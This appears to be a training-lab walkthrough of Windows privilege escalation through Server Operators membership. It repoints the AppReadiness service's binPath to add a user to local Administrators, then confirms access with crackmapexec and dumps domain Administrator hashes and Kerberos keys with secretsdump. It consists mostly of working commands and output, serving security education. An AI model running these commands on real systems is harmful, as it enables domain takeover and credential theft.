Windows Server Operators
The Server Operators group allows members to administer Windows servers without needing assignment of Domain Admin privileges
It is a very highly privileged group that can log in locally to servers, including Domain Controllers.
Membership of this group confers the powerful
SeBackupPrivilege
andSeRestorePrivilege
privileges and the ability to control local services.
Querying the AppReadiness Service
Let's examine the
AppReadiness
service. We can confirm that this service starts as SYSTEM using thesc.exe
utility
sc qc AppReadiness
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AppReadiness
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\svchost.exe -k AppReadiness -p
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : App Readiness
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Checking Service Permissions with PsService
We can use the service viewer/controller PsService, which is part of the Sysinternals suite, to check permissions on the service.
PsService
works much like thesc
utility and can display service status and configurations and also allow you to start, stop, pause, resume, and restart services both locally and on remote hosts.
c:\Tools\PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness
ACCOUNT: LocalSystem
SECURITY:
[ALLOW] NT AUTHORITY\SYSTEM
Query status
Query Config
Interrogate
Enumerate Dependents
Pause/Resume
Start
Stop
User-Defined Control
Read Permissions
[ALLOW] BUILTIN\Administrators
All
[ALLOW] NT AUTHORITY\INTERACTIVE
Query status
Query Config
Interrogate
Enumerate Dependents
User-Defined Control
Read Permissions
[ALLOW] NT AUTHORITY\SERVICE
Query status
Query Config
Interrogate
Enumerate Dependents
User-Defined Control
Read Permissions
[ALLOW] BUILTIN\Server Operators
All
This confirms that the Server Operators group has SERVICE_ALL_ACCESS access right, which gives us full control over this service.
Checking Local Admin Group Membership
net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
Modifying the Service Binary Path
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
[SC] ChangeServiceConfig SUCCESS
Starting the Service
Starting the service fails, which is expected.
sc start AppReadiness
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Confirming Local Admin Group Membership
net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
server_adm
The command completed successfully.
Confirming Local Admin Access on Domain Controller
From here, we have full control over the Domain Controller and could retrieve all credentials from the NTDS database and access other systems, and perform post-exploitation tasks.
crackmapexec smb 10.129.43.9 -u server_adm -p 'HTB_@cademy_stdnt!'
SMB 10.129.43.9 445 WINLPE-DC01 [*] Windows 10.0 Build 17763 (name:WINLPE-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.43.9 445 WINLPE-DC01 [+] INLANEFREIGHT.LOCAL\server_adm:HTB_@cademy_stdnt! (Pwn3d!)
Retrieving NTLM Password Hashes from the Domain Controller
secretsdump.py [email protected] -just-dc-user administrator
Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a
Administrator:des-cbc-md5:d60dfbbf20548938
[*] Cleaning up...
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